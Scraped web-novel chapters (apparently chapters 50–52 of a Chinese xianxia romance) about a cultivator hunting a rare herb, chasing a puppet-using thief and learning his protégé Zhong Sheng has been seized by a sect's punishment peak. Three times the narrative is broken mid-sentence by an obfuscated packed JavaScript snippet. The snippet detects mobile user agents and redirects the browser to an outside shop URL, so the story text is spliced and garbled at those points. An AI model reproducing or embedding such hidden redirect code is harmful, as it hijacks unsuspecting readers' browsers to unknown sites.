所以,这意思是,也许根本没有宝藏,只是那些人看到了幻象,出来乱传一气喽? 他陡然牙疼,自己先前那三四百年都是怎么过的?成日里就在东极道大殿里一坐发呆?还是不停地闭关杀人、闭关杀人?可那也能剩下点东西啊! 严文洲越想越心塞,隐约觉得事情可能就是如此,然而还是有些不甘心。不过常霁野这厮看上去不太聪明,还是就此作罢吧。 他点点头,常霁野十分知趣地退下。 花船内再度恢复安静,胖山雀忽地叽叽叫了起来。 严文洲摸着手下细软柔滑的羽毛,一个不留神想起了杜衡那头绸缎似的银发,心中微动。 瞧见这人神情,杜衡就知道他没在听,正要用翅膀尖尖戳一戳,便觉得眼前脸庞急剧放大,肚子上传来一阵十分微妙的触感。 “想你了。” 声音带起些许共振,一下把心脏也给放软了,杜衡顿时不再计较,十分主动地用肚皮蹭了蹭。 严文洲闷闷地笑了起来,认真道:“如今为夫身无长物,又有一屁股麻烦,阿蘅可会嫌弃我?” 杜衡十二分不悦,“你如今在我身侧,我已是十分满意,怎会嫌弃?” “唔,我可是弑师叛逃,背了无数人命的大魔头。” “我不信。” 声音轻如鸿羽,却不容置疑。 严文洲一怔,纵然他自己不在乎世人看法,也觉得其中定然有问题,但这话从杜衡口中说出,到底还是不一样的。 想了想,他缓缓道:“百川江家确实不是东极道主所为,可临川君却不一定,她分明是本家刀法所伤,然而她一身剑术天下无双,修为也至顶峰,能杀她的修士寥寥无几,又要会使本家刀法,便只剩下一个人了。” “我不信,”杜衡一顿,又道,“四洲秘术多如繁星,唯有制造出只有你能下手的假象,才会坐实了你为谋夺传承,屠戮江家的事情。要不然,旁人怎么肯信?” 严文洲又笑了一声,“不是还有个玄天卷么?金字预言,威风得紧。” “一卷不知从何而来得天书也值得相信么?既能引得天雷无数,说不定跟域外天魔还有些关系。” 系统似是叫唤了起来,但此时此刻听一片莫名其妙的分魂呜哩哇啦实在扫兴,于是严文洲直接屏蔽了它,轻轻揉了好几把白团子,缓了好一阵才道:“阿衡未免太过信任于我了,万一我骗你呢?” 杜衡心知绝对不会,然而这些事情他也不打算和这人和盘托出——万一听了之后又想起了什么剑尊呢?自己拢共就这么点时间,若是再分给那人一点,岂不可惜! 于是便转移话题道:“听方才那位说,三都山温家如今查起了太易宗,恐怕要生事,我们还是早日回去吧。” “自从出门后阿衡催了我不少次了,可是怕我被什么人拐走不成?” 杜衡:“……” 很不巧,还真是。 翌日,严文洲一直躺到日上三竿才懒懒起床,顺手推了一把花船让其返回岸边,自己脚尖一点,朝雪峰掠去。 长乐湖边自然是长乐山,只是那一座高耸入云,常年布满皑皑积雪的雪峰却无姓名。已是春末夏初时节,雪峰上却还在飘雪,如江南细雨般轻轻地落着,十分温柔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365784|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>近处是一片水晶天,极目远眺便是万里人间。 严文洲信步行于雪中,一时有些遗憾——杜衡真身若也在此处,该是极漂亮的。 景好看,人更好看,仙人降世也不过如此。 不过,虽然今年错过了南洲冬日,却还有明年,再不济,给太玄峰施个风雪咒也可。 …… 愈想愈蠢蠢欲动,他摸了摸怀里的白团子,正要开口,白团子突然一扭,脸朝里屁股朝外,墨黑尾羽在衣襟上掉出一节。 “不喜欢么?” “看太多,腻了。” “那好,下次不来了,我们很快就下去。” 他只当是鲜少出门的太易宗宗主多年闭关,看多了雪峰景致,低声逗弄了几句便继续往小地图上标记的方向走去。 也不知是不是错觉,杜衡寄身于这毛茸茸一团后,似乎更娇气了些。 “就在此处!”灵台里突然传来一道心音。 此处一览无余,除了一片白茫茫再无其他,空旷得连块大点的石头都没有。 “确定?” “确定!” 白鱼刀随即招出,严文洲护好山雀,瞬间如白鹤般跃起,寒光骤现。 轰——松软积雪顿时被激得再度腾飞,巨石崩裂之声滚滚传来,一片迷蒙中却有一道庞然黑影立时飞出! 白鱼刀当啷一声接触到钢铁般的熊爪,接连擦出一连串令人牙酸的咯吱声。尚未完全落净的细雪中,一只三人高的黑色巨熊咆哮起来,腥臭涎水滴落在雪地上,立时将白净雪地搅成了泥潭。 天材地宝周围往往有凶兽守候,先前也不是没有过,严文洲早有准备,不过这一只…… 额头一块白斑如满月,胸口一道白弧如弯月,其余均是漆黑,明明修为已至元婴,眼中看着却只有凶性,看着倒像是某种上古荒兽。 “吞月熊血脉?”杜衡有些诧异。 “应该是,”严文洲脚尖一点,避开巨熊横劈来的一掌,再度往空中而去,“没想到长乐湖附近居然还有这样的凶兽,该不会是哪个修习御兽一道的修士在附近闭关吧?” 话虽如此,但不过是开玩笑。 长乐湖独占风光,灵气却一般,又靠近四洲第一大派太清宗,有哪个想不开的修士要在这里闭关?况且带着吞月熊这等上古荒兽血脉的妖兽,极难开灵智,驯服起来事倍功半,麻烦得很! 几句话的功夫,严文洲已与巨熊过了十来招,金属碰撞声不绝于耳。 这熊刚从冬眠中惊醒,凶性大发,一心要把眼前这只小蚂蚁捏死,铁锅般的巨爪在雪地上拍出一个个深坑,传闻中能吞下日月的巨口也不断喷出剧毒吐息。 然而小蚂蚁实在太灵活了,手里的刀也是无坚不摧,只听当当几声,雪地里便多了几枚染血弯钩,正是巨熊的指甲。 吃了这么大一个亏,巨熊更是发狂,额头白斑和胸前白弧飞速染上血色,仿佛有一轮血月正缓缓升起,将吞月熊一族古时的荣光投到了如今。 吼——震天撼地,日月也为之失色。 与此同时,白鱼刀似慢实快地劈下一道半圆弧,刹那间,一轮银月高高升起,仿佛弥漫整片天空的血色停滞,而后,消散。 巨熊只觉得有什么冰冷至极的东西穿过了自己,像是最冷时节的寒风,又像是一种先前从未碰到过,此生也只能触碰一次的东西。 三人高的凶兽栽倒在雪地中,全身皮毛几无损伤,只除了头颅附近的一地红白之物。 啧,用力大了些。严文洲一手按住胖山雀,一手拎着刀往熊巢穴里探去,“阿衡,你说我把这熊带回去送给阿钦怎么样?” “可抵一年月例。” “连皮带肉的元婴期凶兽,骨骼内脏基本完好,可是好东西啊!不如黑心一点,抵个一年半如何?” “……” 许是因为身负上古荒兽血脉,没开灵智的缘故,熊巢里格外不讲究,便是凡间随便一只普通黑熊的巢穴也比这一只强。 严文洲封闭了嗅觉,跨过无数零散人骨和破烂衣衫,在宽敞巢穴里兜了好大一圈才感知到一丝清新灵气。 顺着灵气而去,是一片刻意垒起来的石头墙,十分粗糙,不过恐怕也费了那巨熊此生所有的智力。 严文洲一道劈开,居然是一座顶上有光线透入的石窟,而在石窟正中间,一株成人小臂长的青紫双色灵草正随风摇曳着,淡紫电弧时隐时现。 果然如系统所说,一株千年风雷草。 神识探出,正要探查,他忽地心中一动,腰间一拧,人如飞鹤般飘摇而起,白鱼刀却极速往斜前方斩出。 一枚玉符顺势裂成八瓣,却在瞬间爆发出一团惊人火光。 严文洲心知不妙却已经来不及了——飘摇火光中,一道人影一闪而过,风雷草已然消失! 火光轰然散落,只余下灼热的空气。 他下意识追了过去,有些好笑——上一回这样的情形,还是在四五百年前,想都快想不起来了,今日居然还能重温! 不过能在他眼皮底下夺食,倒也了得! 51.太清(一) 一株百年风雷草,不算罕见,放在辉虹阁里约莫只值个三五百下品灵石,可若是年份至千年,那价钱便是要翻个好几番了,三五千中品灵石或许都不止。盖因这风雷草五十年一劫,每次历劫不是风摧便是雷击,活下来已是难得,而遇到千年门槛那一劫时,更是要经历三道天雷,极为恐怖,最终幸存的不足一成。 不过,这东西再怎么珍贵难得,其实都无关此刻的追踪。 雪地上,两条人影飞闪而过,快得像是在雪地里呆久了的幻觉,无意间瞥到这一幕的采药人茫然地眨了眨眼,正犹豫是否要直接折返,便听一道含笑声音遥遥传来:“前面的道友,怎么拿了东西就跑,连个招呼都不打一声?” 采药人:“……” 吾命休矣! 不等转身飞奔,他便感觉自己被一股巨风直接卷了起来,再回神时,雪线已成视野中微不可见的一条线。 无名雪峰之上,两人仍在你追我逃。 都是元婴期修士,速度自然迅捷,不消片刻便在附近几座山峰间兜了好几个圈子。 对方倒不是不想走,只是严文洲追得实在太紧,刀光频出,角度极刁钻,速度又极快,冷不丁就夹在漫天细雪中来一刀,实在甩不掉。 “前面的道友,你怎么既不说话,也不出招,只丢些符箓出来?难不成你我本就相识,怕我认出来?” 回应他的只有尖锐风声。 几番试探均不见这人使出一招半式,可逃窜的速度却丝毫不见迟钝,那便是不想,或是不能出手了。 严文洲断定——这人有问题。他曾经只是单纯想知道这位能人异士到底是何方神圣,若是能和这人过上几招,便更好。可如今,他倒是非要看看这人本来面目了。 “道友,你若继续,可要当心了。” 对方仍然不停。 严文洲眸光微沉,身形一闪已然落到了对方前进路径上,而刀光却比人来得更快—— 风雪似乎停滞了一瞬,凛冽刀光将无名雪峰笼罩得犹如战场,每一片雪花都蕴含着腥甜血气,无边杀气如万古寒风,瞬间将万物冻结。 只此一刀,再无其他。 黑影终于停下,一身流水般的黑袍僵硬地戳在雪地上,似是被直接定住了。 严文洲微微皱眉,正要开口却见这人竟直挺挺向后一仰,倒了! 他信步而去,招来一股风吹开黑袍,果然,下面只是一具木制傀儡,蜡黄木脸上挂着一个鲜红的诡异微笑,很是嘲讽。 严文洲面色一寒,那人初遇时分明还气息鲜活,居然在不知不觉间将招了个替身人偶出来,自己逃之夭夭! 如此行径,不是对头,便是对头! 仔仔细细打量了一遍这只替身傀儡,又十分努力地从记忆深处搜刮了一遍,他无奈地摇了摇头,将傀儡收了起来,打算什么时候让常霁野送给谢渡看看,说不定能看出是出自何人之手。 替身傀儡不似寻常傀儡,制作难度极高,材料也极难收集,绝不会是一个无名散修委托另一个无名傀儡师所作。 “是三都山温家的人,”杜衡毫无预兆地开口,声音有些微妙,“方才我见到那人袖口纹路了。” 三都山据此有千里之遥,还得要有元婴期的修为,并且还能负担得起一具极昂贵的替身傀儡……严文洲神色极冷,摸着胖山雀的手却尽极温柔,“阿衡,你与温家有仇?” 杜衡似是迟疑了一下,缓缓道:“深仇大恨。” 声音又轻又缓,似乎被细雪一盖就会完全消失,可话语中的杀气却不容忽视,严文洲摸着山雀的手一顿,有了几分思量,忽地笑了一下,“那好,我们再回安原看看那位温道友还在不在。” “啊,温师兄?他昨日便走了,说是要先将安和城的疫病报告上去,找几位医修先去诊治。”钟慎愣愣地回答,觉得眼前的霜衣青年神色颇为不妙。 像是,要杀人。 半炷香前,他还在和钟府众人纠缠不休,正是心力交瘁之际,忽然有人从天而降,一把将他拎走了。 扭头一看,居然是去而复返的严文洲。 钟慎小心地观察了一下自己大哥的神色,一呆,几乎有两股战战之感,“大、大哥,你找他有什么事么?我可以代为转达,或者……” 话说到一半便说不下去了,他暗自叫苦,明明严文洲也不是什么穷凶极恶的长相,甚至还颇为俊俏,怎么一沉下脸就这么吓人,若不是穿得飘逸洒脱,怕要让旁人觉得他是什么杀人如麻的邪道修士了! 严文洲没觉得自己正吓人,他此刻正是一心三用,一边安抚杜衡,一边关注着钟慎,另一边还在威逼利诱系统,忙得很。 “统兄,你若不能明着透露那人身份,那便暗示。你我一荣俱荣,一损俱损,被这么平白无故地摆了一道,你就不气么?” 系统装死。 “呵,既然千年风雷草飞了,你可又需要安排别的奖励,你们系统间都不通气的么?还是说分魂之后便难以沟通了?” “……奖励么,都好商量,我会向主系统申请的,绝对不会欠你!” “统兄的信誉我自是知道的,要不然你我也不会合作这么久了。只是我实在好奇,统兄当日说是三日内采摘,怎么那一位来得这么巧?莫不是004号系统也将风雷草当作了奖励?” “我、我可没说是004号系统哦,是你自己猜的。” “那统兄这意思是,我猜对了?” 系统再度装死。 “听闻温世宜是温家这几代里资质最好的一个,颇受宠爱,若是他,一具替身傀儡也不在话下。”小山雀发出叽叽几声。 “三都山本就是四洲第一世家,从来只收本家弟子,鲜少有弟子出山拜师,他这么一个被捧在掌心的好苗子千里迢迢跑到太清宗学艺,说不定是别有所图。”严文洲阴森森地笑了一声,眼神缓缓落到了钟慎身上。 结丹后,曾经豆芽菜般的瘦弱青年脸色大好,隐有宝光流转,身形也拜修习剑术所致,十分笔挺,看着颇有几分仙风道骨之感。 既然自己这个系统的目标是帮助钟慎登上四洲巅峰,那么温世宜身上的系统,说不定也是。 钟慎被看得心里发毛,像是要被卖了,不由磕巴地喊了一声:“大、大哥?” 严文洲若无其事摇摇头,“没事,不过是有些事情要问问温世宜而已,既然如此不巧,那便先算了。对了,你与温世宜很相熟?” “啊,也说不上熟,若说熟悉,应该是洗云峰弟子比较相熟。不过温师兄年轻有为,脾气又好,在同门中很是收欢迎。” 唔,与人为善,风评极佳,更可疑了。 严文洲这么想着,背后传来一阵杂乱脚步声。 “阁下何人!?” 一回头,三五个金丹修士并一群筑基修士正紧张地盯着自己,似乎是钟家的人。 钟慎长长叹了口气,恨不得严文洲方才把自己直接拎到了飞仙城,好远离这一摊烂事。 正如虞霖所料,钟家痛失一位元婴老祖,小辈中有没有十分能打的,一下青黄不接,人人十分悲痛。 然而就在这档口,钟慎结丹了。 若是倒退三天,那自然是值得敲锣打鼓的大喜事,可现在,这位生父不详的冒牌货已经万骨窟数日游了,若非意外,已经是一具白骨了。 可偏偏,意外就是发生了。 钟慎不仅出来了,还结丹了,要知道,便是钟家那位占了太清宗名额直接进入内门的“天之骄子”也才堪堪筑基! 钟家一下分成了两派,一派希望摒弃前嫌,将钟慎奉为座上宾,以继续庇佑钟家,而另一派,却恨不得将钟慎除之而后快。 眼前这群修士,便是前一种。 见最后的希望被无名修士掳走,他们自然火急火燎地冲来了。 可,这情形似乎和他们预想得不太符合——无名修士并非凶神恶煞地横劈竖砍,而是神色轻松地和钟慎说笑,而钟慎看上去也和那人关系不错,场面甚至十分和谐。 更妙的是,无名修士乃是元婴,若是说服钟慎,说不定是买一赠一的好买卖! 严文洲做足了哥俩好的样子,将不远处这群钟家人唬得一愣一愣的,便将战场留给了钟慎,自己脚步一转,在最近的茶摊一屁股坐下。 茶摊上早已无人,水却还滚着,他自顾自沏了杯粗茶,听壁角听得光明正大。 “唉,钟家此番遭逢大难,实在不幸,钟府怎么说也养了你十数载,道友不如大人不记小人过,权且将曾经那些事忘了吧。” “钟家虽小,但千年灵草还是有几株的,若是道友肯做客卿,那些便都是贺礼!将来也绝不会亏待了道友!” “自然!道友再怎么说都在安原郡长大的,我还记得你娘那时候的样子呢!” “小慎啊,你那些年的苦我们也是看在眼里的,我们也不是不送你去太清宗,只是手忙脚乱,难免迟了些,定是那些杂役狗眼看人低,忘了通知你了!” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383223|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 能屈能伸,晓之以情,诱之以利,不放过半点机会。 严文洲一一听着,有些好笑,“阿衡,你说钟慎会答应么?”话一出口,他心里便咯噔一下。 然而杜衡只平淡道:“如此亲缘,也是麻烦,答应了又能有什么好处呢。区区几株灵草而已,凭他的天资,得来并不难。” “唔,他双亲皆亡,此前又被薄待多年,连飞仙城都是自己一点点走过来,这些人若是觉得这么点小东西便能让他点头,是小看他了。不过他颇有几分柔软心肠,若是一时糊涂,指不定还真会答应。” 茶水微凉,粗茶更显苦涩,严文洲多掺了些水才能入口。 不远处,钟慎终于忍不住了,一声铿锵剑鸣后便是极冷的声音:“我知道你们是因为老祖宗身陨,万灵灯又丢了才来找我的。钟家养我多年的恩情,我自不会忘,只是要我做你们的客卿,绝无可能!” 一时安静下来。 严文洲抚掌一笑。他原还担心这傻小子犹犹豫豫,多少还会给钟家留些余地,没想到如此决绝,倒是自己多虑了。正要掰一小块灵石充作茶水钱,他却忽地抬头朝天际看去——三道飞虹转瞬而至,径直落到安原郡上空。 “钟慎何在!?” 声音层层荡开,一时间所有人都抬头看向天空。 三名元婴修士成品字形凌空而立,浩荡威势不容忽视,飘逸出尘的太清宗服饰将几人衬得如沉浮不定的水母。 严文洲一怔,“问心音”三个字从脑海中倏然而过,快得连自己都没想起来到底是个什么东西。 不过肯定不是好东西! 然而钟慎却已迷迷糊糊地应了一声:“晚辈在此。” 霎那间,三人便隔断了钟慎与钟家众人,“雷峰办事,闲杂人等退散!我等奉刑峰主之令,还请钟道友随我等走一趟。” 钟慎茫然地看着周围三名元婴修士,一点摸不着头脑。可这三人却容不得他迟疑,三条金光锁链横空而出,陡然将他困住,而后直往太清宗方向飞去! “等等!”虞霖姗姗来迟,眼见拦不住,便三下五除二折出了一只纸鹤,匆忙放飞。 一切只在眨眼间。 领头的钟家人面色微变,“不对,雷峰乃是太清宗诸脉中执掌刑罚的一脉,那小子怎么招惹了雷峰?!” 几人左右看看,互相对着眼神,终是有人意味深长道:“如今正是多事之秋,我等行事还是需稳妥些。” 严文洲冷眼看着几人点头,就这么默不作声地离开了,竟是连多问一句也没有。 形式变换只在转瞬之间。 粗瓷茶盏当啷一声碰在桌面上,严文洲摇头长叹,“世事凉薄啊。” 声音极大,嘲讽拉满。 几人正要反驳,感知到这人修为却也只能涨红着脸快步走开。 太清宗大大小小三十三峰,除却玉虚、玉华、玉京这三支太清宗原初道统,便数洗云峰和雷峰最为出名,洗云峰是因为有钱,如今挂名在太清宗的辉虹阁少主便是给洗云峰捐了不少灵石。 而雷峰便是因为执掌宗内刑罚。和其余三十三峰不同,雷峰是唯一一个不招收弟子的支脉,所有修士都是由每隔三十年一次的选拔进入,修为至少是元婴期。 一次性出动了三位元婴修士,钟慎又是要倒大霉了。 严文洲幽幽长叹,很为这小子捏把汗。 不过这种太清宗内部之事,便是系统再怎么神通广大,也不能把自己变进去。这一回,恐怕就要看温世宜的能耐了。 唔,很好,灵台里静悄悄,系统应该不会再作妖了。他想得轻松,脚步一抬却朝虞霖走了几步,问道:“道友,不知钟慎所犯何事?” 虞霖回头打量了一番,认出了严文洲,神情依然紧绷,“我也不知,阁下是钟师弟何人?” “他叫我一声大哥。” “……失敬。” 见她一副头疼非常的样子,严文洲眨了眨眼,试探道:“钟兄既是明朔剑尊弟子,雷峰恐怕也不会拿他如何吧?” 虞霖脸色更僵,“唔,是吧。” 那就不是了。严文洲啧了一声,觉得太清宗最好给门下弟子开一门如何天衣无缝撒谎的课,这也太实诚了! 瞥到眼前元婴修士微妙的神情,虞霖努力回想片刻,发现钟慎之前还真提过这么一个大哥,言辞间还颇为推崇,于是直接放弃伪装,“明朔剑尊又闭关了,贺循也不在,刑峰主早看钟慎不顺眼了,这番恐怕不好过。” 52.太清(二) 已至日落时分,金红斜晖铺满天际,将缭绕着三十三峰的冰冷雾霭映出些许暖色,自东至西,天色渐暗,沉沉暮色渐次笼罩,却在最西侧停步。不用任何颜色渲染,这座嶙峋石峰便已足够暗沉,霞光映于其上,反倒像是干涸血痕。 “仅凭一封信便断定那弟子的品格心性,岂不儿戏!” “我何曾说过那弟子品行不行了?我说的是他身世有问题!” “你当我是傻的么!?你不就是说那弟子身世有问题,不能修行么!我看那弟子很好!” “两位稍安勿躁,这都不是大事,那人不过筑基,便是有问题也极好处理……” “筑基?人家都金丹了!” “若以你所言,该当如何!?” “自是任他修行,有明朔剑尊在,有什么好担心的?” “你莫非是忘了上一个?前车之鉴啊!” …… 太清掌教坐于上首,峨冠博带,正襟危坐,看着正在仔细听底下乡野赶集般的吵闹,实际上已经魂飞天外许久了。 这都叫什么事啊! 三日前,一道传讯灵光落入太清宗,掌管此事的鹤长老一看落款便大惊失色地冲上了玉京峰主殿——传讯是修罗门发出的。 有天梯断裂的事情在先,他本来并不想多理会这个脑子不灵光的愣头青。然而这道传讯灵光却是加密过的,居然需要用雷峰特有的捆仙咒才能破开! 太清宗和修罗门一个在南,一个在东,传讯本就不易,如此架势,实在诡异。他倒不觉得里面能冒出什么惊天秘术将自己暗害,区区一道传讯灵光而已,能干什么?当下便叫来了雷峰主辛默破开灵光。 咔擦脆响中,硕大的深红大字浮现在玉京峰主殿上,一笔一划清清楚楚,说的是明朔剑尊二弟子钟慎的身世。 呵,最后还是中计了。 回想起当日情景,太清掌教仍是胸闷——姓辛的和师弟不和多年,指名点姓非得找他来破解,不就是为了防止自己把消息按下来么! 甚至时机都刚刚好! 师弟闭关,谢渡又死而复生! 他越想越气,不由朝辛默看了一眼,正好看了个对眼——噫,要命。 正当此时,一直未曾开口的玉华峰主轻咳了一声,“诸位道友,你们可曾验过钟慎了?他当真是谢渡之子?” 大殿内陡然安静下来。 某峰主摇摇头,“这个,倒是不曾。验明血脉得有谢渡之血才行。” “唔,既然如此,那传讯所言也完全有可能只是谣传而已。” 太清掌教连忙抚着长须点点头,正要开口,辛默却冷笑着抛下一道重磅消息,“钟慎确实不是安原钟家之子。诸位若是不信,大可自行前往安原郡问个清楚!” “不是钟家人,也不一定是谢渡之子。”玉华峰主淡淡道。 “那要如何解释那小子身上的魔气?” 这确实是一大难题。钟慎一被带回来,辛默便在他体内查探到了一股不容忽视的魔气,极是了得! 若是那修罗门主还活着,或许还能从他嘴里多撬出些东西来,然而他已经死了。 还是被谢渡捏死的。 修罗门虽和东极道素有恩怨,但这位修罗门主明面上却和谢渡没什么恩怨,两人差了百余岁,谢渡又假死多年,两人先前都没见过几次。很难说这不是因为修罗门主知晓了钟慎身世,才被谢渡灭口。 有这么一节,大殿内的气氛又古怪了起来。 玉阙峰主周静长叹一声,心知这种事情向来是只怕万一的,可钟慎却是明朔剑尊的弟子,于情于理都该等到剑尊出关再做定夺,而当下明显是有人等不及了。 于是便道:“辛峰主,你见过的魔修也数不过来了,哪个修士能像喷泉一样往外喷魔气的?我看呐,钟慎这小子确实有古怪,也定然和魔修脱不开干系,只是到底是什么关系,却有待商榷,不如想将他禁闭于后山,日后再议。” 这便是打圆场了,谁知道“日后”会后到什么时候呢? 玉华峰主点头,“钟慎可知道自己生父是谁?” 辛默冷哼,“便是知道,如今也只能说不知道!” “辛峰主所言甚是,若钟慎当真是谢渡之子,便是他自己不知,谢渡焉能不知!让他混进来定然另有所图,此事非同小可,还是要交于雷峰细细查探!” 说话的是真华峰主。 太清宗三十三峰,便是三峰共用一条心,也有十一条心,平时尚且不觉,此刻便尤为明显。真华峰主素来低调,就连抢弟子的时候都不积极,如今却跳了出来,其他峰主顿时侧目,连平日里与各峰主往来最多的洗云峰主都不由多看了两眼。 “不错!听闻钟慎前不久曾独自前往海东城,说不定就是去见谢渡! 这回是凌华峰主。 玉华峰主皱了皱眉,神色明显不悦,正要开口却有一名雷峰弟子急急奔入,附身要与自家峰主禀报,然而辛默却抬手制止,冷然道:“未免有人说我颠倒黑白,你且大声说吧。” “钟府下有一座万骨窟,钟慎刚刚从里面出来便结丹了。” 煌煌大殿内霎时安静得诡异。 三十二峰主神情各异,却没有一个称得上平和,仙风道骨荡然无存,太清掌教一晃神,竟然想起了数百余年前的那一幕。 同样的大殿,三十三峰主却换了二十三位。 他自然知道为什么辛默对钟慎如此赶尽杀绝——当年金字预言应验后,太清宗先是派出数名化神修士追捕,却纷纷陨落,而后追捕的便是这些化神修士的师长,辛默的师尊和师兄便在其中。 一去不返 他幽幽叹了一声,耳边又传来一道颤颤巍巍的声音:“寻常修士落入万骨窟中只会修为大损,那弟子既是如此,恐怕修得不是我太清法门!” 是三明峰主。 “那弟子先前入新月湾小秘境时,也遇上了夜游宫魔修,如今看来其中或许有蹊跷!” 这回是廿四峰峰主。 “我看不如将那弟子废去修为,逐出门外!” 却是三珠峰峰主。 …… 安原郡,严文洲送走了虞霖,神情渐沉。 这太清修士一开始还说得委婉,多问两句便都明白了——钟慎这回麻烦大了!按她的话来说,“三个元婴修士,那都是捉拿宗门叛徒的阵仗了”。 至于为什么会变成“叛徒”,两人琢磨了好一番,没想出来,系统也一问三不知。 “统兄,那小子不会明天就被辛默抽筋扒皮吧?” “我都叫你当时也跟着拜入太清宗了,你非不听!” “唔,世事难料,谁知道那小子会这么倒霉呢?” 系统无话可说,冷冷哼了一声——宿主你自己的运气也很一言难尽,说什么别人! 得亏是系统和宿主的心念并不互通,要不然严文洲非得明着嘲讽一顿才行。 事已至此,严文洲暂时也没什么办法,抱着胖山雀朝太易宗而去。 离太玄峰还有十来里路的时候,风中便传来阵阵喧哗,像是有一群人在敲锣打鼓地疾驰而来。 古怪,可疑,十分不对劲。 严文洲缓下速度,神识一探,顿时震惊——前方居然是十来对抬着华美箱子的锦衣修士,场面很是声势浩大! 太易宗附近都是乡野,那几十户乡民很明显是雇不起他们的,所以…… “阿衡,我们最近有什么喜事么?” “应该没有,”杜衡答得迟疑,“可能只是路过。” 很快,最前面的一队落入山林,朗朗声音层层荡开,“清微派前来恭贺太易宗!” 严文洲脚下一踉跄,险些摔下白鱼刀。 太玄峰主殿已经堆满了各式各样的大箱子,有木的,有铁的,有铜的,要什么样的都有。黄时雨甚至还很给每个箱子贴上了条子,注明这是哪宗哪派哪家哪门送来的贺礼,十分有条理。 严文洲揣着白团子落下时,他正将清微派的贺礼一箱一箱码在灵田外面,对着只有巴掌长的朱草絮絮叨叨,“唉,你们可要争气点,多蹭点灵气,长得快快!” 一听到呼啸风声,他垂头丧气地扭头一看,顿时大喜,“大哥你终于回来了!快快快帮我想个法子应付那群人!” 一落地,白团子便化作一只精巧折纸,严文洲一边伸手取出,一边含笑道:“有什么好应付的,别人送礼,你便代师尊收着呗。” “……可师尊可没说到底收不收。” “阿——你师尊他如今是合体大能,整个四洲也就十几个,想巴结他的人多着呢,你便是不收也会有人‘无意间’遗失在山门口,与其这么麻烦,不如自己先收好了,”严文洲望主殿内扫了眼,更是笑,“你看,你如今摆得便很整齐,这不好么?” 黄时雨脸一红,有些迟疑,“啊,可是,可是这……” “你若是担心欠下因果,大可不必,这些人来送贺礼也不会觉得贺礼送到了,将来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395334|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太易宗便欠了他们一份人情,不过是例行公事而已。” 黄时雨一想,还挺有道理的,又听严文洲正问杜衡行踪,便朝后山指了指,又道:“师尊这些天似乎心情不佳,不光不见客,连主殿都不来了,你可当心些。”话音落下,便有一人凌空而来,雪衣银发,姿容极盛,远远行来如仙人漫步,十分有意境。 “……师尊?” 杜衡朝他点了点头,声音温柔,“这些天辛苦你了,自己挑几样东西吧。” 黄时雨迷迷糊糊地应了,然而到底挑几件,又挑什么,却难以抉择,不由磨磨蹭蹭了许久,忍不住向严文洲投去了求救的眼神。 然而那人却已经窜进了主殿,只给他留下了一道潇洒的背影。 严文洲一一扫过字迹工整的封条,笑起来,“安和荆家,大乌山凌云宗,潜山冯家……呵,来得可真不少,好几年的月例都不愁了。” 杜衡也跟着走了进来,眼神冷漠地滑过堆到了天花板的贺礼,停在了不远处的青年上。 遮住了窗户,殿内昏暗,唯有两盏长明灯摇曳着火光,将这人的一袭霜衣映出了几分落日暮色,挺拔身形愈往里面走,便愈沉入黑暗。 不好。 严文洲还在兴致勃勃地翻看着贺礼,忽然心中一动,便被人环住腰,唇上十分温软。 这吻来得颇有些莫名其妙,却又似乎合情合理——毕竟好几天没见了,虽说有替身同行,但他总不能和一只鸟干什么吧? 唇齿交缠间,严文洲红了耳垂,眼神微转,半身彩绘的仙像正掩于银发后含笑俯视,褪色金纹反射着长明灯的火光,奢靡又落魄。 “……阿衡?” 没有回应,只是喘息愈发明显,混着殿外清脆鸟鸣,当真是不成体统! 严文洲心里一抖,想了片刻却又觉得,似乎,也不是不行…… “啊!!!” 砰——主殿门猛然合上,太易宗唯四弟子之一的气息也消失在外。两人终于分开,衣袍下摆却已经因为极近的距离交缠在一起。 严文洲率先开口,直奔主题,“不如双修?” 虽然该做的不该做的都已经做了,但鉴于先前两人修为相差过大,双修这种灵力交融的事情,二人确实还未曾做过。 闻言,杜衡眸光更沉,手指在眼前红润的唇上轻柔至极地擦了一下,如云似雾,却激得严文洲一个激灵,只觉眼前这人今日有些古怪。 “文洲无需如此心急,待我算个好日子再说。” “……行吧。” “那师弟?” “唔,习惯就好。” 严文洲没忍住笑了起来,故意道:“那我们是不是还要弄一个合籍大典?” “自是最好,”杜衡一垂眼,当真想了起来,“不过你身份殊异,若是邀请宾客,难保有人觉察,还是小心为上,不如便在宗内办一个吧?” 严文洲一怔。他本是随口一说,然而这人说得这么郑重,一看就知道是真在考虑这件事,便不由多想了几分。 沉默瞬间蔓延开,不久前设下的禁制隔绝了声音,主殿内寂静得可怕。 